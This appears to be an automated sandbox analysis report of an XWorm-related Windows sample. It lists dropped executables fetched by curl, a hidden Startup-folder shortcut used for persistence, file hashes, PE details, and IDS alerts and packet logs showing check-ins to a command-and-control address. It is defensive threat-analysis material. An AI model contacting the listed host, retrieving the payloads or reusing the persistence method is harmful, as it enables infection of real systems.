                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r3zo0c2a.tp4.psm1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rgtnypgn.awu.ps1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uidlgze3.pmh.ps1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zq1k4b3s.dwa.ps1

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):60
                                                                                                                      Entropy (8bit):4.038920595031593
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                      Malicious:false
                                                                                                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winnotify.lnk

                                                                                                                      Download File
                                                                                                                      Process:C:\Users\gbcd\qqq.scr
                                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sat Nov 23 20:41:28 2024, mtime=Sat Nov 23 20:41:28 2024, atime=Sat Nov 23 20:41:28 2024, length=1197056, window=hide
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):977
                                                                                                                      Entropy (8bit):4.662614254820701
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:12:818V6a0U35ZlCXCHqXC/PcXx3ACmwABDEByF5jAqljlvCFDvJtzouMuU44t2YZ/U:81yEKZLiB29AqljUDvjzl5Uwqygm
                                                                                                                      MD5:4413F01DA9CF05A2AD58299C1B8E4A2E
                                                                                                                      SHA1:7407BB3D80F7D9FE4830DD47F25F23886BF0FCDD
                                                                                                                      SHA-256:FA7B2BEC089BC132E9588CA620C5FD6FF91C42624DB606843630801D3F18992B
                                                                                                                      SHA-512:D7CEEF8CD73201FC8967F9482888BED1F1B9D59D3B7B3D488FEBA9529087B91BDE16381F381AC8E1A75696244B5BAA2F3FE4D8CB7560749824DC80D919817986
                                                                                                                      Malicious:false
                                                                                                                      Preview:L..................F.... ...B..t.=..B..t.=..B..t.=...D...........................P.O. .:i.....+00.../C:\...................x.1.....wY&...Users.d......OwHwY......................:........U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....|.1.....CW!H..Public..f......O.IwY......+...............<.....r.E.P.u.b.l.i.c...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.6.....h.2..D..wY/. .WINNOT~1.SCR..L......wY/.wY/...... ........................w.i.n.n.o.t.i.f.y...s.c.r.......L...............-.......K.............cP.....C:\Users\Public\winnotify.scr..,.....\.....\.....\.....\.....\.....\.....\.....\.P.u.b.l.i.c.\.w.i.n.n.o.t.i.f.y...s.c.r..........v..*.cM.jVD.Es.!...`.......X.......818225...........hT..CrF.f4... .Z\k.....,......hT..CrF.f4... .Z\k.....,..................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.........9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                      C:\Users\gbcd\ddd.scr

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\curl.exe
                                                                                                                      File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):2644992
                                                                                                                      Entropy (8bit):6.5285319042759316
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:49152:115dtwwf7Azf7QPiBd7AQf4iLeUpQ+Pd7RIkUL3uRJIFBx1j0tGErf:ZwwvPiB6M11pDFNvU3Z+GEj
                                                                                                                      MD5:D5AC30C01A54E7FAE75152785D58B9B3
                                                                                                                      SHA1:1649F5C03F7192AC4FE12ACFF10BF20C7DB3D888
                                                                                                                      SHA-256:5F1AFAF179C67B627C2E3490802970555BE673D7DD25A1127525BD6797170EBF
                                                                                                                      SHA-512:1A757BB721AB925C7B3CA54C8C0C2D07D4AEAFC734D75C72EC4F1212E0F01F18695F1359F5D5B9C2612C6EC776257A4DED540F67874E418929C628E2FEE92311
                                                                                                                      Malicious:true
                                                                                                                      Antivirus:
                                                                                                                      • Antivirus: ReversingLabs, Detection: 83%
                                                                                                                      Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....~*g.........."......f....'.....@..........@..............................(...........`.....................................................<.............(...............(.x...............................(.......8...........(...X............................text....d.......f.................. ..`.rdata...............j..............@..@.data...P.'.......'.................@....pdata........(......T(.............@..@.00cfg........(......V(.............@..@.tls..........(......X(.............@....reloc..x.....(......Z(.............@..B................................................................................................................................................................................................................................................................................................................................................

                                                                                                                      C:\Users\gbcd\fff.scr

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\curl.exe
                                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):1262080
                                                                                                                      Entropy (8bit):7.993814293565699
                                                                                                                      Encrypted:true
                                                                                                                      SSDEEP:24576:XzzwheXL3SsQ52rZ6+L/W4MFi8EmP/HcnSuZ+rkESeVuhRmNqti:XnwheTbZjMFi8jPPcn1ZKkpeCRPi
                                                                                                                      MD5:81720AF225C9B2E5C8D7B81A7581CF5D
                                                                                                                      SHA1:61F624034271DCDA4BCFA67F90D87E0C505E78F9
                                                                                                                      SHA-256:97190C9FF01531C0BFC0FA8BC6880C4119AC3B799D8A50B750F13795259F54A5
                                                                                                                      SHA-512:C38EF29646E44D564709E3C3F7778E12D6EBA6DF742B30F0D76435474A60E11D30D0D03DE4AF197BFE81A877C3CC6527A3547D36F1C77670E6ACDC24FC7C93C9
                                                                                                                      Malicious:true
                                                                                                                      Antivirus:
                                                                                                                      • Antivirus: Avira, Detection: 100%
                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...L.*g................................. ... ....@.. ........................<...........`................................. ./......`......................../.................................................................................................. ......................@............ ... ......................@............ ...@......................@....rsrc.... ...`......................@.............).........................@....d5dcvew....../.....................@.............................................,r.A...\...........................................................................................................................................................................................................................................................................................................................................

                                                                                                                      C:\Users\gbcd\qqq.scr

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\curl.exe
                                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):1197056
                                                                                                                      Entropy (8bit):7.988074396780874
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:24576:d03w+BZPXvYFDlXtCkOdmpYHC97hMj8uVyI26K:de9dgFlXtmdDC97GjtN
                                                                                                                      MD5:33300ACB6FB3C7EFFAE29A3EB133BE2E
                                                                                                                      SHA1:5C906423479C8089BE9C51EE2A015D6FB634A4B3
                                                                                                                      SHA-256:F7B3C2421385D8169D382B108EBB542786BAB4A622A73B039DC887E25682C952
                                                                                                                      SHA-512:55A6E5253FE7B9DF1C0788C34685D3F33289CD29BFA6A0CF99E0671DDA0655DD885D0B93912E21EAC5F16978CC02C33FF0849BE8AFFFACDCAE8F0A64A91049D3
                                                                                                                      Malicious:true
                                                                                                                      Antivirus:
                                                                                                                      • Antivirus: Avira, Detection: 100%
                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                      • Antivirus: ReversingLabs, Detection: 51%
                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....^?g.................V..........a.... ........@.. ....................... ;...........@................................. `-..............................`-..............................................................................................`... ......................@............ ..........................@............ ..........................@....rsrc.... ..........................@.............).........................@....stovfcw.....`-.....................@...........................................lW..!.*... W..!........................................................................................................................................................................................................................................................................................................................................

                                                                                                                      C:\Users\gbcd\srtware.exe

                                                                                                                      Download File
                                                                                                                      Process:C:\Windows\SysWOW64\curl.exe
                                                                                                                      File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):417280
                                                                                                                      Entropy (8bit):6.631733073111428
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:6144:iMg1Jjkp6Ks4mdrRfvuLq5wTOaFt9nAUq0XU31xnW+Yrl/vKYfVf4WL:iF/HeFZNUlxn/oW
                                                                                                                      MD5:E364A1BD0E0BE70100779FF5389A78DA
                                                                                                                      SHA1:DD8269DB6032720DBAC028931E28A6588FCA7BAE
                                                                                                                      SHA-256:7C8798AB738B8648A5FAA9D157C0711BE645FABF49C355A77477FB8DA5DF360E
                                                                                                                      SHA-512:FF2EBFE652CDACE05243DF45100D5F8E306F65A128EC0B5395D1CC7BE429E1B4090F744860963EF9996F74BCCEE134F198E9A6B0FF14383A404C6E4C9E6EF338
                                                                                                                      Malicious:true
                                                                                                                      Antivirus:
                                                                                                                      • Antivirus: ReversingLabs, Detection: 38%
                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r2.96S.j6S.j6S.j?+[j&S.j0..k*S.j0..k<S.j0..k>S.j0..k0S.j}+.k;S.j6S.j.S.j[..k&S.j[.7j7S.j[..k7S.jRich6S.j........................PE..d...`..e.........."....&.....R.................@..........................................`.....................................................T............ ..0-......................8.......................(......@............ ...............................text...X........................... ..`.rdata..`.... ......................@..@.data...`/.......(..................@....pdata..0-... ......................@..@_RDATA..."...P...$...6..............@..@.rsrc................Z..............@..@.reloc...............\..............@..B........................................................................................................................................................................................................

                                                                                                                      \Device\ConDrv

                                                                                                                      Download File
                                                                                                                      Process:C:\Users\user\Desktop\ZOL2mIYAUH.exe
                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                      Category:dropped
                                                                                                                      Size (bytes):22
                                                                                                                      Entropy (8bit):3.879664004902594
                                                                                                                      Encrypted:false
                                                                                                                      SSDEEP:3:uCFWQWgvn:XWQWq
                                                                                                                      MD5:47B20F356C9A271460B7849557B5D21A
                                                                                                                      SHA1:6D0D31C5368D46B55D6C336E5F67CF006A385DBA
                                                                                                                      SHA-256:9D1037F2F0A27EB4B67A715E5B002643F54DF3CEA30AB25CE30E714FE6271871
                                                                                                                      SHA-512:F77F604A47C5D1B0412BE3A403591570E88E49EF8B4B862B7779D0C13F34946A515D12383D87AE7036D15C56ACE4D42C9E943C04880142C50D959E2534B28ABF
                                                                                                                      Malicious:false
                                                                                                                      Preview:Loading resources.....

                                                                                                                      Static File Info

                                                                                                                      General

                                                                                                                      File type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                      Entropy (8bit):7.987193651105574
                                                                                                                      TrID:
                                                                                                                      • Win32 Executable (generic) a (10002005/4) 99.94%
                                                                                                                      • Win16/32 Executable Delphi generic (2074/23) 0.02%
                                                                                                                      • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                      • DOS Executable Generic (2002/1) 0.02%
                                                                                                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                      File name:ZOL2mIYAUH.exe
                                                                                                                      File size:1'144'320 bytes
                                                                                                                      MD5:12395d08dc0bfe12e63605328ddd982f
                                                                                                                      SHA1:51ceb544e3900fb85fe7aada564d081219464d1d
                                                                                                                      SHA256:789473143f4f1465f0221fca36ac25f48cae1223f51c9d6219544b27879ec3a6
                                                                                                                      SHA512:1a26d4de93abf8f5af0b7e6ac3307f6cc6c3ce5b905545788430460c1664efa5637c856db3e994163147e259385da3125d6ff13a39bbade962c95872ea5bd4e4
                                                                                                                      SSDEEP:24576:vTc28b2Yf2eSf1xZ9a9wwz+NzYbiaCoWTXKjvFQxf:bcbb2UCrZ9wwwKJL2jvFQx
                                                                                                                      TLSH:5C353323F1575470DBB343B057ECD890A9420BD7602A1EDBDE18817B82B740B5BA1FAE
                                                                                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....`3.................................. ... ....@.. ....................... 9...........`................................

                                                                                                                      File Icon

                                                                                                                      Icon Hash:00928e8e8686b000

                                                                                                                      Static PE Info

                                                                                                                      General

                                                                                                                      Entrypoint:0x40a5ba
                                                                                                                      Entrypoint Section:
                                                                                                                      Digitally signed:false
                                                                                                                      Imagebase:0x400000
                                                                                                                      Subsystem:windows cui
                                                                                                                      Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                                                                                                      DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                                                                                                      Time Stamp:0xF0336014 [Fri Sep 13 08:19:32 2097 UTC]
                                                                                                                      TLS Callbacks:
                                                                                                                      CLR (.Net) Version:
                                                                                                                      OS Version Major:4
                                                                                                                      OS Version Minor:0
                                                                                                                      File Version Major:4
                                                                                                                      File Version Minor:0
                                                                                                                      Subsystem Version Major:4
                                                                                                                      Subsystem Version Minor:0
                                                                                                                      Import Hash:2e5467cba76f44a088d39f78c5e807b6

                                                                                                                      Entrypoint Preview

                                                                                                                      Instruction
                                                                                                                      push ebp
                                                                                                                      mov ebp, esp
                                                                                                                      add esp, FFFFFFF0h
                                                                                                                      mov eax, 00401000h
                                                                                                                      call 00007F78B1388D66h
                                                                                                                      call far 5DE5h : 8B10C483h
                                                                                                                      jmp 00007F78B170D467h
                                                                                                                      ret
                                                                                                                      stosd
                                                                                                                      fsubr st(6), st(0)
                                                                                                                      adc eax, F3021F3Ch
                                                                                                                      xchg eax, edx
                                                                                                                      push eax
                                                                                                                      inc ebp

                                                                                                                      Data Directories

                                                                                                                      NameVirtual AddressVirtual Size Is in Section
                                                                                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0x2b60200x210.d5scxa2
                                                                                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0x260000x28c.rsrc
                                                                                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x2b60000xc.d5scxa2
                                                                                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                      IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                                                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                      Sections

                                                                                                                      NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                      0x20000x200000x10a000332b23c16e794c2413c30bc3ec7a967False0.9971657659774437data7.994421110466154IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                      0x220000x20000x2004d692017c1877ae94e9485e84fa4120eFalse0.728515625data5.81684524796756IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                      0x240000x20000x20049dd883fbc5b28f9500961b536c06854False0.0546875data0.30140680731160896IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                      .rsrc0x260000x20000x400698f6131ddfaa5f15a290515dd956065False0.33203125data3.6295662722234296IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                      0x280000x28e0000x2ba007572e699c969f0812cf4292c974a5de0unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                      .d5scxa20x2b60000xdc0000xda600a17694d88b682d813dc446bfa1d2cae6False0.9965811927590155data7.981383442410946IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                                                                                                      Resources

                                                                                                                      NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                      RT_VERSION0x220a00x324data0.5795454545454546
                                                                                                                      RT_MANIFEST0x260a00x1eaXML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators0.5489795918367347

                                                                                                                      Imports

                                                                                                                      DLLImport
                                                                                                                      kernel32.dllGetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
                                                                                                                      user32.dllMessageBoxA
                                                                                                                      advapi32.dllRegCloseKey
                                                                                                                      oleaut32.dllSysFreeString
                                                                                                                      gdi32.dllCreateFontA
                                                                                                                      shell32.dllShellExecuteA
                                                                                                                      version.dllGetFileVersionInfoA
                                                                                                                      mscoree.dll_CorExeMain

                                                                                                                      Network Behavior

                                                                                                                      Suricata IDS Alerts

                                                                                                                      TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                      2024-11-23T21:10:39.044988+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:10:39.225371+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.74986879.110.49.2462331TCP
                                                                                                                      2024-11-23T21:10:50.432999+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:10:50.461753+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.74986879.110.49.2462331TCP
                                                                                                                      2024-11-23T21:10:53.983309+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:11:02.062613+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:11:02.090623+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.74986879.110.49.2462331TCP
                                                                                                                      2024-11-23T21:11:13.490207+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:11:13.511136+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.74986879.110.49.2462331TCP
                                                                                                                      2024-11-23T21:11:23.968499+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:11:24.989256+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:11:25.009018+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.74986879.110.49.2462331TCP
                                                                                                                      2024-11-23T21:11:36.364211+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:11:36.385969+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.74986879.110.49.2462331TCP
                                                                                                                      2024-11-23T21:11:47.805214+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:11:47.849077+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.74986879.110.49.2462331TCP
                                                                                                                      2024-11-23T21:11:53.987648+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:11:59.162483+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:11:59.206367+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.74986879.110.49.2462331TCP
                                                                                                                      2024-11-23T21:12:10.625544+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:12:10.641354+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.74986879.110.49.2462331TCP
                                                                                                                      2024-11-23T21:12:22.198975+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:12:22.230408+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.74986879.110.49.2462331TCP
                                                                                                                      2024-11-23T21:12:23.978371+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:12:33.747164+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:12:33.800468+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.74986879.110.49.2462331TCP
                                                                                                                      2024-11-23T21:12:44.974645+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:12:45.049960+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.74986879.110.49.2462331TCP
                                                                                                                      2024-11-23T21:12:53.980651+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:12:56.372835+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:12:56.400521+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.74986879.110.49.2462331TCP
                                                                                                                      2024-11-23T21:13:10.429811+01002852870ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes179.110.49.2462331192.168.2.749868TCP
                                                                                                                      2024-11-23T21:13:10.431241+01002852923ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)1192.168.2.74986879.110.49.2462331TCP

                                                                                                                      Network Port Distribution

                                                                                                                      TCP Packets

                                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                                      Nov 23, 2024 21:09:12.491322994 CET4970080192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:12.610853910 CET804970079.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:12.612911940 CET4970080192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:12.613219023 CET4970080192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:12.736372948 CET804970079.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:13.979254007 CET804970079.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:13.979275942 CET804970079.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:13.979288101 CET804970079.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:13.979298115 CET804970079.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:13.979305029 CET804970079.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:13.979334116 CET4970080192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:13.979414940 CET4970080192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:14.060172081 CET804970079.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:14.060206890 CET804970079.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:14.060343027 CET804970079.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:14.060497046 CET804970079.110.49.246192.168.2.7
                                                                                                                      Nov 23, 2024 21:09:14.060570002 CET4970080192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:14.060570002 CET4970080192.168.2.779.110.49.246
                                                                                                                      Nov 23, 2024 21:09:14.108299971 CET804970079.110.49.246192.168.2.7
